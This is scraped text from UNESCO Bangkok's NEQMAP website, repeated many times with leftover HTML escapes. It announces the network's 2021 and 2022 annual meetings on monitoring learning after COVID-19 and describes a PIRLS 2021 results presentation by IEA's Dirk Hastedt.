As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

